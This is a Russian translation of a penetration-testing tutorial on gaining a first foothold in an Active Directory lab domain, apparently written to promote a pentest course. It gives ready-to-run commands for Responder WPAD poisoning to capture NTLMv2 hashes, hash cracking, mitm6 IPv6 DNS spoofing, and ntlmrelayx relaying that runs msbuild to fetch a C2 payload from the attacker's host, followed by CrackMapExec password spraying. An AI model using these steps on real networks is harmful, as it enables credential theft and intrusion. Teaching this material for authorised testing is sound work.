Перевод статьи подготовлен специально для студентов курса «Пентест. Практика тестирования на проникновение».
У меня было несколько клиентов, пришедших ко мне перед пентестом с уверенностью в том, что они были в хорошей форме, потому что их анализ уязвимостей не показал критических уязвимостей, и что они готовы к пентесту, лишь за тем, чтобы я получил права администратора домена за пятнадцать минут, просто воспользовавшись ошибками в конфигурациях в AD.
Одним из пробелов в образовании, который я вижу в области тестирования на проникновение, является недостаток осведомленности, когда дело доходит до пентестинга Active Directory (AD). К сожалению, OSCP не учит пентестированию AD, и даже курс SANS GPEN едва касается этого. Цель этой серии — помочь продемонстрировать некоторые приемы, инструменты и методы, которые я использовал в прошлом для успешных пентестов с использованием AD. Это ни в коем случае не исчерпывающее пособие по каждому методу или инструменту. На протяжении всей этой серии я буду использовать Kali Linux 2019 и работать в своем фиктивном домене через виртуальные машины.
Давайте начнем с определения цели: цель теста на проникновение состоит в том, чтобы выявить любой возможный вектор атаки, который злоумышленник будет использовать для взлома сети. Дело не только в том, чтобы получить права администратора домена, а затем выйти.
Теперь, когда у нас есть цель, мы должны выполнить несколько шагов для ее достижения. Ниже (грубое) визуальное руководство по циклу пентестинга.
Автор: Microsoft
Синопсис: клиент нанял вас для проведения теста на проникновение в своей сети, в которой используется Active Directory. Вам не предоставили ничего. У вас нет ни учетных данных, ни границ тестирования, ни пропуска, чтобы войти в парадный вход, однако вам удается проникнуть за кем-то через дверь и найти уединенную комнату с IP-телефоном. Вы отключаете IP-телефон, подключаете ноутбук и обнаруживаете себя в сети. Что дальше? Внедрение.
Фаза I | Внедрение
Без учетных данных мы можем проводить лишь ограниченную разведку, и разведка будет происходить практически на каждом этапе цикла, однако есть несколько вещей, которые мы можем сделать сразу, чтобы закрепиться в сети. Во-первых, поскольку у нас есть доступ к сети, просто проверьте, в какой подсети мы работаем, через ifconfig или ipconfig. Получив IP-адрес, выполните команду ping в nmap, чтобы увидеть, доступны ли другие устройства.
nmap -sn 192.168.1.1/24
Если возвращаются устройства, значит, вы в деле. Если вы ничего не получаете, возможно, ICMP отключен, в сети нет других устройств или поскольку вы не прошли проверку подлинности, вы не можете обмениваться данными с другими устройствами и, возможно, заблокированы решением для обеспечения безопасности личности (например, Cisco ISE). Ради статьи, давайте предположим, что возвращается несколько машин и вы успешно можете пропинговать их.
Инструмент: Responder
Далее мы будем использовать инструмент под названием Responder, или, если вы неравнодушны к Windows, Inveigh. Эти два инструмента проверяют наличие очень распространенной ошибки в конфигурации AD, что приводит к возможности отравления WPAD и NBT-NS. По умолчанию Windows настроена на поиск файла автоматической настройки прокси (PAC) через автоматическое обнаружение веб-прокси (WPAD). Важно отметить, что WPAD — это не протокол, который выполняет поиск, а всего лишь набор процедур, позволяющих устройству найти файл PAC. Автоматическое обнаружение файла PAC полезно для организаций, поскольку устройство отправит широковещательную рассылку с запросом прокси-файла и получит его. Однако, естественно, он не аутентифицирует, кто отправляет файл прокси, позволяя злоумышленнику отправить поддельный ответ, который затем запрашивает учетные данные.
В Kali responder установлен по умолчанию.
responder -I eth0 --wpad
На моем компьютере с Windows 7 я открываю Internet Explorer и захожу в Google, который затем начинает поиск файла WPAD. В Responder я вижу, как поступил запрос, после чего Responder автоматически отвечает на запрос, в результате чего жертва отправляет свое имя пользователя и хешированный пароль (в формате NTLMv2).
С этим хешем мы можем сделать несколько вещей. Мы можем попытаться взломать его или ретранслировать, используя такой инструмент, как ntlmrelay.py
. Я рассказывал о том, как транслировать ntlm-хэши в этой статье, поэтому я перейду к его взлому, так как обычно это именно то, что я делаю на практике.
Если честно, я редко взламываю пароли в Linux/Kali. Я использую графический процессор nvidia, который никогда не устанавливается корректно на Kali, плюс в Windows есть HashcatGUI, который делает процесс намного проще, и это то, что я буду использовать. Я беру полученный хеш, помещаю его в файл с именем «hash.txt» и запускаю несколько wordlists/rules на нем. Но в этом случае я просто запустил rockyou.txt
, и он был взломан в течение секунды.
Мои настройки для HashcatGUI.
Взломанный пароль — «Пароль!»
Теперь, когда мы успешно взломали пароль, у нас есть учетные данные “Алиса: Пароль”!
Прежде чем продолжить, есть несколько других методов, которые я хотел бы показать на случай, если Responder не работает.
Инструмент: mitm6
Допустим, сеть клиента использует легитимный PAC файл, и ваш спуфинг не работает. Существует еще один метод, который использует IPv6 и DNS для передачи учетных данных целевому объекту. По умолчанию IPv6 включен и фактически предпочтительнее, чем IPv4. Это означает, что если у компьютера есть DNS-сервер IPv6, он предпочтет его IPv4. Также по умолчанию машины Windows ищут DNS-сервер IPv6 через запросы DHCPv6, что значит, если мы подделываем DNS-сервер IPv6, мы можем эффективно контролировать, как устройство будет запрашивать DNS. Подробнее об этом можно прочитать здесь.
Сначала скачайте mitm6.
git clone https://github.com/fox-it/mitm6.git
cd mitm6
pip install .
Затем запустите его на целевой сетевой рабочей группе. Поскольку ранее мы уже пинговали сеть, мы также получили имена NetBIOS, узнав, что целевым доменом является lab.local
.
Вот как выглядели настройки IP цели до того, как я запустил mitm6
Обратите внимание на один DNS-сервер
Затем я запустил mitm6
mitm6 -d lab.local
И теперь цели DNS-сервер изменился
Обратите внимание на IPv6-адрес в качестве DNS-сервера.
Теперь настоящая уязвимость заключается в том, что Windows предпочитает IPv6, а не IPv4, то есть теперь я контролирую DNS.
Так что теперь мы используем тот факт, что мы контролируем DNS с помощью подмены ответов WPAD через ntlmrelayx.py
. Я написал руководство о том, как установить его.
С запущенным mitm6 в одном окне, откройте другое и запустите ntlmrelayx.py
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
-wh
: сервер, на котором размещен файл WPAD (IP-адрес атакующего)
-t
: цель (вы не можете пересылать учетные данные на то же устройство, которое фабрикуете)
-i
: открыть интерактивную оболочку
Отсюда вы можете установить соединение с вашей системой управления и контроля (C2) по вашему выбору. В этом случае я использую SILENTTRINITY, поэтому я использую команду -c для выполнения моей команды, которая в этом случае использует MSBuild для создания моего вредоносного пейлоада.
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:WindowsMicrosoft.NETFramework64v3.5msbuild.exe \192.168.218.129SMBmsbuild.xml'
Но нет, msbuild.exe
в этом случае не создает XML-файл, и я не получаю соединения с SILENTTRINITY, поскольку это было бы слишком просто. Вместо этого я смотрю на свой SMB-сервер и вижу ретранслируемый хеш
Который я, в свою очередь, взломаю.
И теперь у нас есть учетные данные сети без использования Responder.
Инструмент: CrackMapExec
CrackMapExec — это по сути швейцарский нож для пентестеров. От password spray атаки и передачи хеша, до выполнения команд, он должен быть в каждом наборе инструментов для пентестеров.
Если ничего не помогает, мы можем попытаться использовать password spray атаку. Есть причина, почему этот метод является последним, и это из-за блокировки пароля. Блокировка паролей не так распространена, как вы думаете, что позволяет злоумышленнику использовать атаку по словарю по именам пользователей. Получение имени пользователя — это первый шаг, который можно выполнить через OSINT и с помощью theHarvester. Если у нас нет имени пользователя из OSINT, мы также можем дать CrackMapExec (CME) список имен пользователей, но ради экономии времени давайте предположим, что у нас есть имя пользователя rsmith.
Если вы в Kali, CrackMapExec должен быть уже установлен, если вы используете более новую версию, но если нет, можно его установить
apt-get install crackmapexec
Так как в результате сканирования мы обнаружили устройство в сети, мы можем дать CME список паролей в паре с именем пользователя и попытаться войти в систему.
crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p ~/Documents/wordlists/fasttrack.txt --shares
Через несколько секунд пароль найден.
Учетные данные найдены!
Это может выглядеть слишком CTF-ым, но сезон: год — чрезвычайно популярная комбинация паролей.
С этими полученными учетными данными у нас теперь есть учетная запись пользователя. Мы перейдем к повышению привилегий во второй части.
Автор: MaxRokatansky